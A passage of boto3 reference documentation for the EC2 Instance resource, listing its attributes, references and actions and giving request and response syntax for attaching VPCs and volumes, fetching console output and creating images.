[enclave_options](#EC2.Instance.enclave_options "EC2.Instance.enclave_options") +- [hibernation_options](#EC2.Instance.hibernation_options "EC2.Instance.hibernation_options") +- [hypervisor](#EC2.Instance.hypervisor "EC2.Instance.hypervisor") +- [iam_instance_profile](#EC2.Instance.iam_instance_profile "EC2.Instance.iam_instance_profile") +- [image_id](#EC2.Instance.image_id "EC2.Instance.image_id") +- [instance_id](#EC2.Instance.instance_id "EC2.Instance.instance_id") +- [instance_lifecycle](#EC2.Instance.instance_lifecycle "EC2.Instance.instance_lifecycle") +- [instance_type](#EC2.Instance.instance_type "EC2.Instance.instance_type") +- [kernel_id](#EC2.Instance.kernel_id "EC2.Instance.kernel_id") +- [key_name](#EC2.Instance.key_name "EC2.Instance.key_name") +- [launch_time](#EC2.Instance.launch_time "EC2.Instance.launch_time") +- [licenses](#EC2.Instance.licenses "EC2.Instance.licenses") +- [metadata_options](#EC2.Instance.metadata_options "EC2.Instance.metadata_options") +- [monitoring](#EC2.Instance.monitoring "EC2.Instance.monitoring") +- [network_interfaces_attribute](#EC2.Instance.network_interfaces_attribute "EC2.Instance.network_interfaces_attribute") +- [outpost_arn](#EC2.Instance.outpost_arn "EC2.Instance.outpost_arn") +- [placement](#EC2.Instance.placement "EC2.Instance.placement") +- [platform](#EC2.Instance.platform "EC2.Instance.platform") +- [private_dns_name](#EC2.Instance.private_dns_name "EC2.Instance.private_dns_name") +- [private_ip_address](#EC2.Instance.private_ip_address "EC2.Instance.private_ip_address") +- [product_codes](#EC2.Instance.product_codes "EC2.Instance.product_codes") +- [public_dns_name](#EC2.Instance.public_dns_name "EC2.Instance.public_dns_name") +- [public_ip_address](#EC2.Instance.public_ip_address "EC2.Instance.public_ip_address") +- [ramdisk_id](#EC2.Instance.ramdisk_id "EC2.Instance.ramdisk_id") +- [root_device_name](#EC2.Instance.root_device_name "EC2.Instance.root_device_name") +- [root_device_type](#EC2.Instance.root_device_type "EC2.Instance.root_device_type") +- [security_groups](#EC2.Instance.security_groups "EC2.Instance.security_groups") +- [source_dest_check](#EC2.Instance.source_dest_check "EC2.Instance.source_dest_check") +- [spot_instance_request_id](#EC2.Instance.spot_instance_request_id "EC2.Instance.spot_instance_request_id") +- [sriov_net_support](#EC2.Instance.sriov_net_support "EC2.Instance.sriov_net_support") +- [state](#EC2.Instance.state "EC2.Instance.state") +- [state_reason](#EC2.Instance.state_reason "EC2.Instance.state_reason") +- [state_transition_reason](#EC2.Instance.state_transition_reason "EC2.Instance.state_transition_reason") +- [subnet_id](#EC2.Instance.subnet_id "EC2.Instance.subnet_id") +- [tags](#EC2.Instance.tags "EC2.Instance.tags") +- [virtualization_type](#EC2.Instance.virtualization_type "EC2.Instance.virtualization_type") +- [vpc_id](#EC2.Instance.vpc_id "EC2.Instance.vpc_id") + +These are the resource's available references: + +- [classic_address](#EC2.Instance.classic_address "EC2.Instance.classic_address") +- [image](#EC2.Instance.image "EC2.Instance.image") +- [key_pair](#EC2.Instance.key_pair "EC2.Instance.key_pair") +- [network_interfaces](#EC2.Instance.network_interfaces "EC2.Instance.network_interfaces") +- [placement_group](#EC2.Instance.placement_group "EC2.Instance.placement_group") +- [subnet](#EC2.Instance.subnet "EC2.Instance.subnet") +- [vpc](#EC2.Instance.vpc "EC2.Instance.vpc") + +These are the resource's available actions: + +- [attach_classic_link_vpc()](#EC2.Instance.attach_classic_link_vpc "EC2.Instance.attach_classic_link_vpc") +- [attach_volume()](#EC2.Instance.attach_volume "EC2.Instance.attach_volume") +- [console_output()](#EC2.Instance.console_output "EC2.Instance.console_output") +- [create_image()](#EC2.Instance.create_image "EC2.Instance.create_image") +- [create_tags()](#EC2.Instance.create_tags "EC2.Instance.create_tags") +- [delete_tags()](#EC2.Instance.delete_tags "EC2.Instance.delete_tags") +- [describe_attribute()](#EC2.Instance.describe_attribute "EC2.Instance.describe_attribute") +- [detach_classic_link_vpc()](#EC2.Instance.detach_classic_link_vpc "EC2.Instance.detach_classic_link_vpc") +- [detach_volume()](#EC2.Instance.detach_volume "EC2.Instance.detach_volume") +- [get_available_subresources()](#EC2.Instance.get_available_subresources "EC2.Instance.get_available_subresources") +- [load()](#EC2.Instance.load "EC2.Instance.load") +- [modify_attribute()](#EC2.Instance.modify_attribute "EC2.Instance.modify_attribute") +- [monitor()](#EC2.Instance.monitor "EC2.Instance.monitor") +- [password_data()](#EC2.Instance.password_data "EC2.Instance.password_data") +- [reboot()](#EC2.Instance.reboot "EC2.Instance.reboot") +- [reload()](#EC2.Instance.reload "EC2.Instance.reload") +- [report_status()](#EC2.Instance.report_status "EC2.Instance.report_status") +- [reset_attribute()](#EC2.Instance.reset_attribute "EC2.Instance.reset_attribute") +- [reset_kernel()](#EC2.Instance.reset_kernel "EC2.Instance.reset_kernel") +- [reset_ramdisk()](#EC2.Instance.reset_ramdisk "EC2.Instance.reset_ramdisk") +- [reset_source_dest_check()](#EC2.Instance.reset_source_dest_check "EC2.Instance.reset_source_dest_check") +- [start()](#EC2.Instance.start "EC2.Instance.start") +- [stop()](#EC2.Instance.stop "EC2.Instance.stop") +- [terminate()](#EC2.Instance.terminate "EC2.Instance.terminate") +- [unmonitor()](#EC2.Instance.unmonitor "EC2.Instance.unmonitor") + +These are the resource's available collections: + +- [volumes](#EC2.Instance.volumes "EC2.Instance.volumes") +- [vpc_addresses](#EC2.Instance.vpc_addresses "EC2.Instance.vpc_addresses") + +These are the resource's available waiters: + +- [wait_until_exists()](#EC2.Instance.wait_until_exists "EC2.Instance.wait_until_exists") +- [wait_until_running()](#EC2.Instance.wait_until_running "EC2.Instance.wait_until_running") +- [wait_until_stopped()](#EC2.Instance.wait_until_stopped "EC2.Instance.wait_until_stopped") +- [wait_until_terminated()](#EC2.Instance.wait_until_terminated "EC2.Instance.wait_until_terminated") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Instance's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Instance.load "EC2.Instance.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +ami_launch_index + +- _(integer) --_ + + The AMI launch index, which can be used to find this instance in the launch group. + + +architecture + +- _(string) --_ + + The architecture of the image. + + +block_device_mappings + +- _(list) --_ + + Any block device mapping entries for the instance. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **Status** _(string) --_ + + The attachment state. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + +capacity_reservation_id + +- _(string) --_ + + The ID of the Capacity Reservation. + + +capacity_reservation_specification + +- _(dict) --_ + + Information about the Capacity Reservation targeting option. + + - **CapacityReservationPreference** _(string) --_ + + Describes the instance's Capacity Reservation preferences. Possible preferences include: + + - open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + - none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + - **CapacityReservationTarget** _(dict) --_ + + Information about the targeted Capacity Reservation or Capacity Reservation group. + + - **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + - **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + +client_token + +- _(string) --_ + + The idempotency token you provided when you launched the instance, if applicable. + + +cpu_options + +- _(dict) --_ + + The CPU options for the instance. + + - **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + - **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + +ebs_optimized + +- _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + +elastic_gpu_associations + +- _(list) --_ + + The Elastic GPU associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an Elastic Graphics accelerator. + + - **ElasticGpuId** _(string) --_ + + The ID of the Elastic Graphics accelerator. + + - **ElasticGpuAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticGpuAssociationState** _(string) --_ + + The state of the association between the instance and the Elastic Graphics accelerator. + + - **ElasticGpuAssociationTime** _(string) --_ + + The time the Elastic Graphics accelerator was associated with the instance. + + +elastic_inference_accelerator_associations + +- _(list) --_ + + The elastic inference accelerator associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an elastic inference accelerator. + + - **ElasticInferenceAcceleratorArn** _(string) --_ + + The Amazon Resource Name (ARN) of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticInferenceAcceleratorAssociationState** _(string) --_ + + The state of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationTime** _(datetime) --_ + + The time at which the elastic inference accelerator is associated with an instance. + + +ena_support + +- _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + +enclave_options + +- _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + +hibernation_options + +- _(dict) --_ + + Indicates whether the instance is enabled for hibernation. + + - **Configured** _(boolean) --_ + + If this parameter is set to true , your instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + +hypervisor + +- _(string) --_ + + The hypervisor type of the instance. The value xen is used for both Xen and Nitro hypervisors. + + +iam_instance_profile + +- _(dict) --_ + + The IAM instance profile associated with the instance, if applicable. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Id** _(string) --_ + + The ID of the instance profile. + + +image_id + +- _(string) --_ + + The ID of the AMI used to launch the instance. + + +instance_id + +- _(string) --_ + + The ID of the instance. + + +instance_lifecycle + +- _(string) --_ + + Indicates whether this is a Spot Instance or a Scheduled Instance. + + +instance_type + +- _(string) --_ + + The instance type. + + +kernel_id + +- _(string) --_ + + The kernel associated with this instance, if applicable. + + +key_name + +- _(string) --_ + + The name of the key pair, if this instance was launched with an associated key pair. + + +launch_time + +- _(datetime) --_ + + The time the instance was launched. + + +licenses + +- _(list) --_ + + The license configurations. + + - _(dict) --_ + + Describes a license configuration. + + - **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + +metadata_options + +- _(dict) --_ + + The metadata options for the instance. + + - **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + - **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + - **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + - **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + +monitoring + +- _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces_attribute + +- _(list) --_ + + [EC2-VPC] The network interfaces for the instance. + + - _(dict) --_ + + Describes a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IPv4 associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Attachment** _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The index of the device on the instance for the network interface attachment. + + - **Status** _(string) --_ + + The attachment state. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **Description** _(string) --_ + + The description. + + - **Groups** _(list) --_ + + One or more security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **MacAddress** _(string) --_ + + The MAC address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that created the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes a private IPv4 address. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address for the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IP address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private IPv4 DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. + + - **SourceDestCheck** _(boolean) --_ + + Indicates whether to validate network traffic to or from this network interface. + + - **Status** _(string) --_ + + The status of the network interface. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **InterfaceType** _(string) --_ + + Describes the type of network interface. + + Valid values: interface | efa + + +outpost_arn + +- _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +placement + +- _(dict) --_ + + The location where the instance launched, if applicable. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + - **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + +platform + +- _(string) --_ + + The value is Windows for Windows instances; otherwise blank. + + +private_dns_name + +- _(string) --_ + + (IPv4 only) The private DNS hostname name assigned to the instance. This DNS hostname can only be used inside the Amazon EC2 network. This name is not available until the instance enters the running state. + + [EC2-VPC] The Amazon-provided DNS server resolves Amazon-provided private DNS hostnames if you've enabled DNS resolution and DNS hostnames in your VPC. If you are not using the Amazon-provided DNS server in your VPC, your custom domain name servers must resolve the hostname as appropriate. + + +private_ip_address + +- _(string) --_ + + The private IPv4 address assigned to the instance. + + +product_codes + +- _(list) --_ + + The product codes attached to this instance, if applicable. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + +public_dns_name + +- _(string) --_ + + (IPv4 only) The public DNS name assigned to the instance. This name is not available until the instance enters the running state. For EC2-VPC, this name is only available if you've enabled DNS hostnames for your VPC. + + +public_ip_address + +- _(string) --_ + + The public IPv4 address, or the Carrier IP address assigned to the instance, if applicable. + + A Carrier IP address only applies to an instance launched in a subnet associated with a Wavelength Zone. + + +ramdisk_id + +- _(string) --_ + + The RAM disk associated with this instance, if applicable. + + +root_device_name + +- _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + +root_device_type + +- _(string) --_ + + The root device type used by the AMI. The AMI can use an EBS volume or an instance store volume. + + +security_groups + +- _(list) --_ + + The security groups for the instance. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + +source_dest_check + +- _(boolean) --_ + + Specifies whether to enable an instance launched in a VPC to perform NAT. This controls whether source/destination checking is enabled on the instance. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +spot_instance_request_id + +- _(string) --_ + + If the request is a Spot Instance request, the ID of the request. + + +sriov_net_support + +- _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + +state + +- _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +state_reason + +- _(dict) --_ + + The reason for the most recent state transition. + + - **Code** _(string) --_ + + The reason code for the state change. + + - **Message** _(string) --_ + + The message for the state change. + + - Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + - Server.InternalError : An internal error caused the instance to terminate during launch. + - Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + - Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + - Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + - Client.InternalError : A client error caused the instance to terminate during launch. + - Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + - Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + - Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + - Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + +state_transition_reason + +- _(string) --_ + + The reason for the most recent state transition. This might be an empty string. + + +subnet_id + +- _(string) --_ + + [EC2-VPC] The ID of the subnet in which the instance is running. + + +tags + +- _(list) --_ + + Any tags assigned to the instance. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +virtualization_type + +- _(string) --_ + + The virtualization type of the instance. + + +vpc_id + +- _(string) --_ + + [EC2-VPC] The ID of the VPC in which the instance is running. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +classic_address + +(ClassicAddress) The related classic_address if set, otherwise None. + +image + +(Image) The related image if set, otherwise None. + +key_pair + +(KeyPairInfo) The related key_pair if set, otherwise None. + +network_interfaces + +(NetworkInterface) The related network_interfaces if set, otherwise None. + +placement_group + +(PlacementGroup) The related placement_group if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_classic_link_vpc(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = instance.attach_classic_link_vpc( + DryRun=True|False, + Groups=[ + 'string', + ], + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + - _(string) --_ +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of a ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +- _(dict) --_ + + - **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_volume(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +- The volume can be attached only to a stopped instance. +- AWS Marketplace product codes are copied from the volume to the instance. +- You must be subscribed to the product. +- The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = instance.attach_volume( + Device='string', + VolumeId='string', + DryRun=True|False +) + +Parameters + +- **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS volume. The volume and instance must be within the same Availability Zone. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +- _(dict) --_ + + Describes volume attachment details. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **Device** _(string) --_ + + The device name. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **State** _(string) --_ + + The attachment state of the volume. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +console_output(kwargs_) + +Gets the console output for the specified instance. For Linux instances, the instance console output displays the exact console output that would normally be displayed on a physical monitor attached to a computer. For Windows instances, the instance console output includes the last three system event log errors. + +By default, the console output returns buffered information that was posted shortly after an instance transition state (start, stop, reboot, or terminate). This information is available for at least one hour after the most recent post. Only the most recent 64 KB of console output is available. + +You can optionally retrieve the latest serial console output at any time during the instance lifecycle. This option is supported on instance types that use the Nitro hypervisor. + +For more information, see [Instance Console Output](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html#instance-console-console-output) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetConsoleOutput) + +**Request Syntax** + +response = instance.console_output( + DryRun=True|False, + Latest=True|False +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Latest** (_boolean_) -- + + When enabled, retrieves the latest console output for the instance. + + Default: disabled (false ) + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'Output': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +- _(dict) --_ + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Output** _(string) --_ + + The console output, base64-encoded. If you are using a command line tool, the tool decodes the output for you. + + - **Timestamp** _(datetime) --_ + + The time at which the output was last updated. + + +create_image(kwargs_) + +Creates an Amazon EBS-backed AMI from an Amazon EBS-backed instance that is either running or stopped. + +If you customized your instance with instance store volumes or EBS volumes in addition to the root device volume, the new AMI contains block device mapping information for those volumes. When you launch an instance from this new AMI, the instance automatically launches with those additional volumes. + +For more information, see [Creating Amazon EBS-Backed Linux AMIs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-an-ami-ebs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateImage) + +**Request Syntax** + +image = instance.create_image( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + Description='string', + DryRun=True|False, + Name='string', + NoReboot=True|False, + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +- **BlockDeviceMappings** (_list_) -- + + The block device mappings. This parameter cannot be used to modify the encryption status of existing volumes or snapshots. To create an AMI with encrypted snapshots, use the CopyImage action. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . 